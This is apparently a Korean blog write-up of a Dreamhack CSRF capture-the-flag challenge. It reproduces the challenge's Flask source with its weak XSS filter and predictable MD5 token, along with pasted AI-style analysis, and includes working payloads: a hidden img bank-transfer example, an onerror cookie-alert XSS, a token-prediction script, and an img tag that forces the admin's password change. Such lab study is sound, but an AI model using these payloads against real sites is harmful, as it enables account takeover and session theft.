CSRF(Cross-Site Request Forgery), 또는 사이트 간 요청 위조는 사용자가 신뢰하는 웹 애플리케이션에 사용자의 의도와 관계없이 악의적인 요청을 보내도록 유도하는 웹 보안 취약점입니다. 이를 악용하면 공격자는 사용자의 권한으로 애플리케이션에서 원하지 않는 작업을 수행하게 할 수 있습니다.
### 1. **CSRF의 원리**
- CSRF 공격은 보통 사용자가 애플리케이션에 로그인한 상태에서 발생합니다. 공격자는 사용자가 특정 사이트에 방문할 때, 그 사용자의 브라우저가 자동으로 신뢰할 수 있는 사이트에 요청을 보내게 합니다.
- 예를 들어 사용자가 인터넷 뱅킹 사이트에 로그인해 있는 상태에서 악성 사이트를 방문하면, 해당 사이트가 사용자의 세션을 이용해 돈을 송금하는 요청을 은행 사이트로 보내는 식입니다.
### 2. **CSRF의 과정**
1. 사용자가 웹 애플리케이션에 로그인하여 세션 쿠키를 설정합니다.
2. 공격자가 사용자를 악성 웹사이트로 유도합니다.
3. 악성 웹사이트는 사용자가 이미 로그인한 상태라는 점을 이용해 해당 애플리케이션으로 요청을 보냅니다.
4. 애플리케이션은 사용자가 요청한 것인지 확인하지 않고 요청을 처리하여 작업이 실행됩니다.
### 3. **CSRF 방어 방법**
- **CSRF 토큰**: 애플리케이션은 사용자가 보낸 요청이 정당한지 확인하기 위해 고유한 CSRF 토큰을 생성해 전송합니다. 이 토큰이 없거나 일치하지 않으면 요청이 차단됩니다.
- **Referer 헤더 확인**: 요청이 해당 애플리케이션에서 온 것인지 확인할 수 있습니다. 그러나 이 방법은 불완전할 수 있으며 일부 브라우저나 네트워크 설정에서는 헤더가 비워질 수 있습니다.
- **SameSite 쿠키**: 브라우저가 동일한 사이트에서만 쿠키를 보내도록 SameSite 속성을 설정하여 외부 사이트로부터의 CSRF 공격을 방지할 수 있습니다.
### 4. **CSRF 예시**
CSRF 공격을 시도하려면 사용자가 악성 스크립트를 실행하도록 유도하는 링크나 이미지 등을 삽입합니다. 예를 들어, 다음과 같은 HTML 코드가 포함된 웹페이지에 접근하게 되면, 사용자가 이미 로그인한 상태라면 이 요청이 자동으로 실행됩니다.
```html
<img src="http://bank.example.com/transfer?amount=1000&to=attacker_account" style="display:none;">
```
이때 사용자의 브라우저는 자동으로 `bank.example.com`에 요청을 보냅니다. CSRF 방어가 되어 있지 않다면, 이 요청이 실행될 수 있습니다.
CSRF 방지는 사용자와 애플리케이션 모두의 신뢰를 보장하기 위해 중요한 보안 조치입니다. 이를 통해 웹 애플리케이션이 악의적인 외부 요청으로부터 안전하게 보호될 수 있습니다.
소스코드를 확인하러가자
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.webdriver.common.by import By
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from hashlib import md5
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
users = {
'guest': 'guest',
'admin': FLAG
}
session_storage = {}
token_storage = {}
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
try:
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/login")
driver.add_cookie(cookie)
driver.find_element(by=By.NAME, value="username").send_keys("admin")
driver.find_element(by=By.NAME, value="password").send_keys(users["admin"])
driver.find_element(by=By.NAME, value="submit").click()
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_csrf(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')
@app.route("/vuln")
def vuln():
param = request.args.get("param", "").lower()
xss_filter = ["frame", "script", "on"]
for _ in xss_filter:
param = param.replace(_, "*")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
if not check_csrf(param):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("user not found");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
csrf_token = token_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
pw = request.args.get("pw", None)
if pw == None:
return render_template('change_password.html', csrf_token=csrf_token)
else:
if csrf_token != request.args.get("csrftoken", ""):
return '<script>alert("wrong csrf token");history.go(-1);</script>'
users[username] = pw
return '<script>alert("Done");history.go(-1);</script>'
app.run(host="0.0.0.0", port=8000)
To analyze the provided source code and determine a method to retrieve the `flag`, let's break down its components step by step.
### Overview and Important Sections
1. **Imports and Setup**:
- The script uses `Flask` for a web server, `selenium` for browser automation, `hashlib` for hashing, and `os` for handling system functions.
- The `FLAG` variable reads from `flag.txt`, and if it doesn’t exist, defaults to a placeholder.
2. **User Authentication & Session Management**:
- There are two users in the `users` dictionary: `'guest'` (password: `'guest'`) and `'admin'` (password: the value of `FLAG`).
- `session_storage` and `token_storage` are dictionaries to manage sessions and CSRF tokens.
3. **Functionality Analysis**:
- **`read_url`**: Uses Selenium to automate Chrome. Logs in as admin and navigates to a specific URL. This function is essential for CSRF protection.
- **`check_csrf`**: Builds a URL and calls `read_url` to check if a CSRF attack attempt is legitimate.
4. **Routes and Actions**:
- **`/` (index)**: Displays either a login prompt or a message showing the user’s access level. The admin sees the flag.
- **`/vuln`**: Returns the query parameter `param` with certain XSS filters. This filtering is basic and may allow some encoded attacks.
- **`/flag`**: The critical endpoint. It expects a form submission with `param`. If `check_csrf` succeeds, it shows a "good" message, otherwise "wrong??".
- **`/login`**: Basic login form for users.
- **`/change_password`**: Allows password changes with CSRF token validation.
### Flag Access Strategy
Given the setup, the flag can only be seen by:
1. Logging in as admin (knowing the admin password, which is the flag).
2. Exploiting the CSRF mechanism, if possible.
### Steps to Retrieve the Flag
#### Step 1: Bypass or Exploit CSRF on `/flag`
1. **Analyze `check_csrf`**: The `check_csrf` function uses `read_url` to automate a browser to log in as `admin` and visit the URL. This means:
- If you can pass a valid `param` to `/flag`, the function will trigger the browser automation and potentially return the flag.
2. **XSS Exploit through `/vuln`**: The `/vuln` endpoint has a basic filter that replaces `frame`, `script`, and `on`. Given that the flag is accessible to `admin`, and if we can trigger an XSS on `/vuln`, we may be able to steal the admin's session or force a request to `/flag`.
3. **CSRF Token Leakage on `/change_password`**:
- When logged in, `/change_password` generates a CSRF token, which is visible to the user. If you can access or manipulate this token, you might bypass CSRF protection.
#### Step 2: Implement Payload for XSS or CSRF
- **For XSS**: Attempt to submit encoded payloads to `/vuln` that bypass the filter and trigger malicious JavaScript.
- **For CSRF**: Construct a malicious link or form that sends a request with the correct session and CSRF token.
### Suggested XSS Payloads to Test in `/vuln`
Try encoded payloads such as:
```html
<img src=x onerror=alert(document.cookie)>
```
Or other encoded versions to bypass the filter.
### Testing and Validation
1. Use tools like `curl` to test sending requests directly to endpoints.
2. Manually verify if the CSRF token for password change can be manipulated to retrieve the flag.
By focusing on these points, especially XSS or CSRF vulnerabilities, you may gain unauthorized access to the flag. Let me know if you need further guidance on executing these tests!
흠..img 스크립트 사용가능한데 이걸 또 어떻게 스크립트를 짜야하는거지이
드림핵 커뮤니티 질문글들 보면 csrf토큰을 이용해야하는 것 같다
https://studyforall.tistory.com/47
https://keyme2003.tistory.com/entry/dreamhack-CSRF-Advanced
/change_password를 이용해서 admin 계정의 pw를 바꾸도록 CSRF하면 될 것 같다.
하지만 csrf_token을 이용해서 사용자에 대한 검증을 수행한다.
옳바른 csrf_token을 같이 전송해야 pw를 바꿀 수 있도록 구현됐다.
출처ㅣ https://keyme2003.tistory.com/entry/dreamhack-CSRF-Advanced
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
elif request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
try:
pw = users[username]
except:
return '<script>alert("user not found");history.go(-1);</script>'
if pw == password:
resp = make_response(redirect(url_for('index')) )
session_id = os.urandom(8).hex()
session_storage[session_id] = username
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
resp.set_cookie('sessionid', session_id)
return resp
return '<script>alert("wrong password");history.go(-1);</script>'
/login 코드에서 csrf_token을 생성하는 방식이 나와있다
token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
짜자잔
The line you highlighted generates a CSRF token and stores it in `token_storage` for each session. Here’s a breakdown of how the token is created and stored:
### How the Token is Created
1. **Components of the Token**:
- The `session_id` is generated as a random 8-byte hexadecimal string using `os.urandom(8).hex()`, which uniquely identifies each user session.
- The CSRF token is generated using an MD5 hash of a combination of the username and the user’s IP address (`request.remote_addr`). Specifically:
```python
md5((username + request.remote_addr).encode()).hexdigest()
```
- This hashing process converts the concatenated string `(username + IP address)` into a fixed-length, unique hexadecimal token.
2. **Purpose of this Token**:
- This hashed value is then stored in `token_storage[session_id]`, where it serves as the CSRF token. When a user tries to perform an action that requires CSRF protection, the server will verify that this token matches the token submitted in the request.
### How to Predict or Guess the Token
To retrieve or guess this token, you would need the exact values of `username` and `request.remote_addr` since MD5 is a deterministic hash function (it always produces the same output for the same input).
1. **Determine the Username**:
- In this scenario, you know that the target user is `admin`, as retrieving the flag is only possible with admin privileges.
2. **IP Address**:
- If you can identify the server’s IP address or if you are working in a controlled environment (like a lab or a CTF), you can attempt to use the IP address of the machine hosting the Flask application.
3. **Generate the Token**:
- Once you have both `username` and `IP address`, you can simulate the token generation process:
```python
import hashlib
username = "admin" # Target username
ip_address = "TARGET_IP_ADDRESS" # Replace with the actual IP address you suspect
token = hashlib.md5((username + ip_address).encode()).hexdigest()
print("Predicted Token:", token)
```
4. **Use the Token**:
- With this generated token, you can craft a request to an endpoint that requires CSRF protection (such as the password change functionality). Include this token in the request and see if it passes verification.
### Limitations
- **Dynamic IP Addresses**: If the IP address changes frequently or is not easily known, predicting the token becomes challenging.
- **Token Expiration or Regeneration**: If tokens are frequently regenerated or sessions expire, you may need to act quickly before the token becomes invalid.
In summary, this approach relies on obtaining the server’s IP address and using it to predict the token based on the known hashing mechanism. If you succeed, you can potentially bypass CSRF protections and retrieve the flag.
user name = admin
remote_addr = 127.0.0.1
import hashlib
username = "admin" #target username
ip_address = "127.0.0.1"
token = hashlib.md5((username+ip_address).encode()).hexdigest()
print("predicted toekn:", token)
predicted toekn: 7505b9c72ab4aa94b1a4ed7b207b67fb
csrf토큰이 생성됐다. 이제 사이트에 payload를 보내러가보자
payload구성은 이렇다
<img src='/change_password?pw=1&csrftoken={csrf_token}'></img>
<img src=http://127.0.0.1:8000/change_password?pw=1&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb>
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[65] IT 비전공자 [dreamhack]cmd_center문제 풀기 (0) | 2024.11.13 |
---|---|
[64] IT 비전공자 [dreamhack]ssp_000문제 풀기 (1) | 2024.11.12 |
[62] IT 비전공자 [dreamhack]Basic_Crypto1문제 풀기 (2) | 2024.11.10 |
[61] IT 비전공자 [dreamhack]sint문제 풀기 (3) | 2024.11.09 |
[60] IT 비전공자 [dreamhack]hook문제 풀기 (10) | 2024.11.08 |